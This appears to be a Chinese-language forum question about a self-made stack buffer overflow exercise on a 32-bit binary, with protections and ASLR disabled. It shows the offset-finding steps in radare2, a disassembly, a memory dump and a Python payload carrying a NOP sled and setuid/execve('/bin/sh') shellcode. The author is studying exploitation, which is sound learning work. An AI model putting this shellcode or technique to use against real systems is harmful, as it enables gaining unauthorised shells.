我使用以下 C 代码来测试基于堆栈的简单缓冲区溢出
#include<stdio.h>
#include<string.h>
void copier(char *arg){
char buffer[100];
strcpy(buffer,arg);
}
int main(int argc, char *argv[]){
copier(argv[1]);
printf("Done!");
return 0;
}
编译代码
gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c
ASLR 已关闭
为了从eip
被覆盖的缓冲区中获取偏移量,我已经用来ragg2
生成模式并r2
找到偏移量
ragg2 -P 200 -r > input.txt
r2 -d testcode $(cat input.txt)
->dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0
->wopO 0x416d4141
112
现在可以在调试时将长度为 116 的简单字符串作为输入发送到程序,因此为此我做了以下工作
r2 -A -d testcode $(python -c "print('A'*116)")
> dcu sym.copier
这是copier
功能的分解图
0x08048456 55 push ebp
0x08048457 89e5 mov ebp, esp
0x08048459 83ec78 sub esp, 0x78 ; 'x'
0x0804845c 83ec08 sub esp, 8
0x0804845f ff7508 push dword [ebp + 8]
0x08048462 8d4594 lea eax, [ebp - 0x6c]
0x08048465 50 push eax
0x08048466 e8a5feffff call sym.imp.strcpy ;[1]
0x0804846b 83c410 add esp, 0x10
0x0804846e 90 nop
0x0804846f c9 leave
0x08048470 c3 ret
继续执行后sym.imp.strcpy
,缓冲区为
px @esp
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffffd060 7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff |...k...........
0xffffd070 0000 0000 9bff fdf7 0c82 0408 4141 4141 ............AAAA
0xffffd080 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd090 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0a0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0b0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0c0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0d0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0e0 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0xffffd0f0 00d3 ffff b4d1 ffff c0d1 ff ...........
现在,从上面我可以生成一个有效载荷 -
64字节 nops + 32字节 shellcode + 16字节填充 + 地址覆盖eip
现在根据找到的内存转储,我选择了要覆盖的地址 (真正的 shellcode 开始于,之前的地址用 nops 填充)0xffffd0b0
eip
0xffffd0bc
nop = '\x90'*64
payload = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
padding = 'A'*(112-64-32)
addr = '\xb0\xd0\xff\xff'
print(nop+payload+padding+addr)
在radare2 中调试时,在执行返回指令后,sym.copier
eip
我提供的地址将被覆盖。但是当我从 shell 运行程序时,我得到了Illegal instruction(Core dumped)
我从 Google 和其他 stackexchange 帖子中发现,不正确的环境变量设置可能会导致此问题。所以在radare2中我检查了加载的环境变量
dcu entry0
pxr @esp
我发现OLDPWD
堆栈中存在一个环境变量,而该环境变量不存在于env
命令的输出中。TMPDIR
有时也会出现另一个变量。另一件事是(原谅我,如果这不是在所有相关的)执行后!env
radare2中我发现了一些实际的环境变量的失踪是存在于env
输出和一些其他调试相关的变量也出席了(GJS_DEBUG_TOPICS
,RABIN2_LANG
等等)
雷达2版本
radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932
commit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24
我只是不知道如何继续查找可以硬编码为漏洞利用的地址。